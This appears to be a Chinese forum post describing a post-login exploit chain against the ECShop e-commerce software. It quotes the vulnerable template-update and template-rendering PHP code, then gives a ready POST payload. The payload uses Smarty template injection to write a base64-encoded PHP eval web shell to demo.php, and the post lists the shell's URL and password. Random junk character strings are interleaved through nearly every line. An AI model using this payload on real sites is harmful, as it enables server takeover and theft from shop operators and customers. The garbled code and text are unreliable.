首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板" C* ?/ ?% R4 ^7 F! m) q" h& _
0 T8 u* q8 \" X8 P* \4 O而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
1 g7 N% Z+ o/ A9 B1 A但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
1 d8 j: a2 g: s3 n, [1 gadmin/template.php
0 c8 d8 t# Z# c" l$ x' M% e% M- q& Y
1 if ($_REQUEST['act'] == 'update_library') * A3 W ^# ~& L
4 O0 v9 Q; N. T% {5 b- _
2 7 s2 ^2 U e( W9 C
, N+ L3 e$ X; J1 \( n& _' j* v
3 {
! m0 }( k7 j9 R Z
% _# a& h W! E2 w2 l) U4 check_authz_json('library_manage'); / @. A( R1 X3 N- a# ~- ^
( J9 F4 k U$ ^( p+ Q
5
1 `: e9 _9 P& q& K7 L" t
+ i2 v: u* s8 ~ i) i4 C6 $html = stripslashes(json_str_iconv($_POST['html']));
5 M- i4 |4 r o: g* S, H4 o) p5 @. C! g/ Y! B% y
7 Q+ L0 C6 z3 r1 ^2 P/ X0 f8 P
! a9 ^2 w% U2 S) k6 i4 I
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
7 M, A6 r, U8 E! w( _8 K/ b
' b5 _. ^8 c4 Z5 n$ j/ i9
9 ^$ s# e- Q8 n; g
0 y- w/ ^7 g, ^# G# p& Y0 j: z10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
/ `) G5 u- }& W W u/ v7 C) ?0 s+ y3 J
11
8 u: E& i! p- n. m. N# d! y
" ]8 P, q: |: L: N" K12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
* g9 `0 S9 L% D Q* @- {$ V# j, w1 g% A1 B# k5 N3 h: y/ U
13 5 U4 K, |) L9 h6 x$ c0 h
( p; S P% p1 f" {1 d. b5 ?
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 9 N0 J2 B0 O5 C3 r2 v) M
- e O' ], G! f/ c
15 {
( `) R7 l1 d2 k8 z5 ]7 \5 M$ q* R. X& A( C' J0 d. U
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
y2 I( ~1 U$ v! l& \9 C' y/ b6 l
4 @* _3 w" M1 a17 make_json_result('', $_LANG['update_lib_success']);
+ x) } G( J% \8 W
/ r; @, \7 ~, J( E, }- r6 j3 a18 }
% u3 S( r, ]& w8 X. X% W2 a; x6 x: S$ S6 L
19 else
1 y" O) \! t0 u* O& C8 A7 T' n: ?, p9 z# S1 ?
20 { & `& V4 k& P% N/ I
% A* w& n% A1 o' c: G7 @8 _9 V3 Y21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); , r! G t+ @0 i) j0 h
& o9 L/ o7 y) P7 L, O. C5 L
22 } , n2 H" F7 j, `' b) r: h4 D. Q) c
5 x7 [; o) N K5 I5 V
23 }
8 {5 ^3 t, p/ ?( x1 s+ S0 J( Y$ O/ z
那么找个比较方便调用了模板的文件5 F M! d+ d% h4 q
index.php
+ Y- H D2 m$ \+ K9 o* ~6 a; T% H \1 T1 [: {9 A
1 if ($act == 'cat_rec') + {. _+ a) ~" F" i/ }) R
9 B8 L4 [* [4 ]: { I5 Y8 b2 " B0 J% i' d6 q' {( K
3 B7 | Z6 m1 o- J+ E. C3 {
& L- Y2 k& L* A8 K
: w+ I9 Y. u, r5 @4
1 k2 w: I' L3 T/ ?! d. {0 Q" c9 `3 P; Y* V) R: A7 ^! w
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); * W$ Q5 Q7 A' H* }+ ]& B/ \
$ C- e0 S( w' Q! \( [: d" E" X) u6 s
6
c' j0 Z6 }3 f& b. `1 j$ ]$ s' a& X- u8 Q+ c( D6 r$ Q" z4 Q
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
1 P& j4 O! S: _7 n T2 n$ S9 m8 Y& c4 J: w& f
8
# o" Y& P- ], q
8 S, A; z9 ]" z1 Q: ]. y. e9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
% n P' B& w/ x y4 Z' G" {6 P! F2 _/ s r$ H- ]1 g2 E0 I6 K4 g
10
4 _0 N# o1 D+ m4 v6 O$ D! L
/ b3 Q- n* x- M/ a+ \2 E11 include_once('includes/cls_json.php'); . u+ w) z( D1 W t% a
7 w0 z' {% j% K5 }12 6 I+ U8 `0 O% } P" d
- h5 t0 z3 P+ Z8 F8 q% T
13 $json = new JSON;
9 [# `( w% H5 M7 [: O0 K# e o; J& a
14
6 e$ @! _% D. E4 s* S" K+ N/ f5 {) J. v
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); 9 ?0 L$ g9 k. T+ R/ A2 j
2 F( T& V7 ^: l0 d. y: `; x
16 " \: e, Q0 m( L0 |) {% k% t
( B3 Z- c; g. R$ f& P" M
17 $children = get_children($cat_id); ! j2 c1 R+ l3 R* K6 P
8 G1 ~7 f4 n4 z" y! L18
. J; x9 j2 S: E6 U% N( _( l1 }: W6 _& U1 O [
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
1 z1 V% ~" C# S) w+ e6 B! c2 J. Q! k/ ~8 h: m3 \7 M2 q
20 1 R' U/ A5 }% t. G
' m* L! \5 G9 F# v! X21 $smarty->assign('cat_rec_sign', 1);
6 Y+ n( t8 t* W# Y
; N/ d$ a: I5 {* W! Y22
4 T9 S: j6 P8 p* Q: I$ ^4 r: n* ~4 |! h c
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
+ G- Z" E. x9 ~! N2 x" ?& y# i: L, M+ [( C9 e) X$ i- v+ V
24
& ?3 x! b. x8 d1 K% w" Z7 q5 K! m! O) O
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 1 u* e) d, r; p* E p$ A2 B
% v1 i. q" F" ^5 g8 u( I26 9 U% F g- W% u2 Y
) ]+ e4 h3 ^* e5 M' B27 echo $rec_array[$rec_type];
8 \' p( Z U* u! [0 S+ y! i' Y: D2 O) l( }( x
28 - l; k8 q7 d8 ?; s
* V& k: r$ Y8 v% e4 \
29 die($json->encode($result));
5 f5 M3 F6 S, C; ?. m! u$ h! P( p( b2 H6 n( F! R
30 2 \( k5 i }, o
7 `3 Q: A& s8 L8 X* Z31 } + R1 j+ Q- U1 d3 ]2 L+ O& j& J8 q# V; V
) a F& L# O% S; r& B9 u
那么就有利用方法了 X ]) C# _, O0 \: @. K4 _
post包到http://localhost/ec/admin/template.php?act=update_library
1 _% k* ^( p' j; {Post内容:$ E& n4 c: b/ a) y
4 G$ x6 w' B1 j3 l' Y7 A5 x
, N! x3 v( l( z7 Z& n; F# q
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
4 h% D! ~, p' t3 E4 j0 B" f& u1 E$ p u
然后访问http://localhost/ec/index.php?act=cat_rec
" ]9 [ p+ d/ K# j* o
5 z5 u+ {0 o; `4 r; ^! Jshel地址:http://localhost/ec/demo.php) h( ^% d3 D' \" c. G$ x
密码c' N# P3 @$ C7 C
' d# V* t* y0 r5 ^
|